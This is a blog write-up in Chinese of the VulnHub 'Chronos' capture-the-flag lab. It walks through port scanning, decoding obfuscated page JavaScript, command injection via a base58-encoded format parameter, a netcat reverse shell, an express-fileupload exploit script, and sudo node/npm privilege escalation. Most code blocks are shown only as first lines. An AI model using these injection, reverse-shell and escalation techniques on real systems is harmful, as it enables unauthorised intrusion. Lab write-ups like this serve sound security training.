Chronos
- 写写打靶记录。
- 靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
- Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
信息收集
- 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
- 首先查看 Kali IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 扫描当前网段,发现靶机 IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 继续使用 Nmap 扫描端口、开放服务等信息:
1 | ┌──(root㉿kali)-[~] |
- 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:
源码解码
- 两个端口的 Web 服务都非常简单,查看一下页面的源码,发现一段不一样的代码:
1 | var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();} |
- 由于是出现在
<script>
标签中的,所以可以认定是 JavaScript 代码,但是看代码内容像是被加密过,需要解密,由于不知道使用的加密方式,选择一个在线网站进行解密。- CyberChef: https://gchq.github.io/CyberChef/
- 根据上述步骤,可以将代码进行解密,解密完后,发现一个网址:
1 | http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL |
- 将 format 后面的字符串进行解密(base 58):
- 发现表示的是日期时间,说明上述 URL 的作用很有可能是向 chronos.local 地址发送时间信息。
Host 修改
- 由于是 8000 端口,有理由怀疑就是指向靶机。需要修改本地 DNS 文件,将 chronos.local 域名指向靶机:
1 | vim /etc/hosts |
- 再次访问 Web 服务:
- 多了一行时间信息,好像还是没啥用,BurpSuite 抓包看看:
发现有 3 个 URL 请求信息。第一个是正常访问,第二个是 Options 访问,第三个是 Get 请求。
- 注:Options 通常是浏览器自动发起的,目的就是去服务器检查一下接下来要到用的方法( GET、POST、PUT、detele)在服务器上是否支持;
命令注入
- 这里发现一个问题,在 format 跟着 base58 的时间请求,在页面上进行了显示:
- 那这里是否有可能存在命令执行?抱着这个疑问,去尝试一下,将
;ls base58
一下:
1 | 现在 Kali 上执行 date 命令 |
- 拿去 BurpSuite 执行以下:
Shell 反弹
- 既然可以命令执行,看看有木有 NC 存在:
1 | '+Today is %A, %B %d, %Y %H:%M:%S.';ls /bin |
- 存在 NC,使用 NC 反弹个 Shell:
1 | 在 Kali 上开启监听 |
Express-fileupload 提权
- 查看一下靶机当前用户信息:
1 | id |
- 发现有一个 imera 用户,去它的家目录看看:
1 | ls /home/imera |
发现一个 user.txt 文件,但是权限不够无法查看文件内容。那作者的意图很明显,需要我们提权到 imera 用户或者 root 用户去打开这个文件。
查看一个当前靶机信息:
1 | uname -a |
- 内核版本比较高,SUID 没有可利用文件。查看靶机开放的端口:
1 | netstat -ntlp |
- 发现有一个只能在本机访问的 8080 端口。重来,查看文件,找一下 8080 的服务:
1 | ls |
由于对 node.js 不太熟悉,经过他人提示,发现 express-fileupload 用于上载文件的中间件。百度一下看看有木有漏洞:
exp 代码如下,在 Kali 上进行创建 exp.py 文件:
1 | ### imports |
- 在 Kali 上开启 Web 服务,在靶机上进行 exp 下载:
1 | # 开启 Web 服务 |
- 获得了 imera 用户的权限,查看一下之前看不了的 user.txt 文件:
1 | imera@chronos:~$ cat user.txt |
- 得到第一个
flag:byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
(时间飞逝我的朋友)
Sudo 提权
- 还差一个 flag,但是在进入 root 目录时,还是显示权限不够:
1 | imera@chronos:~$ cd /root |
- 说明,还要进行一次提权,通过信息收集,发现 sudo 命令有提权的可能:
1 | imera@chronos:~$ sudo -l |
通过 GTFOBins 网站的查找,发现 npm 和 node 命令都存在提权的可能,依次尝试一下:
- GTFOBins:https://gtfobins.github.io/
1 | npm 提权 |
- 通过 node 提权成功~,去 root 目录查看:
1 | cd /root |
- 得到第二个
flag:YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
(今晚我们在沉默中收集梦想) - 打靶结束~
注意事项
- 在查看 NC 时,用 which nc 会直接卡住,建议用 ls /bin。
- 一旦出现页面不显示时间信息时,重启靶机。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!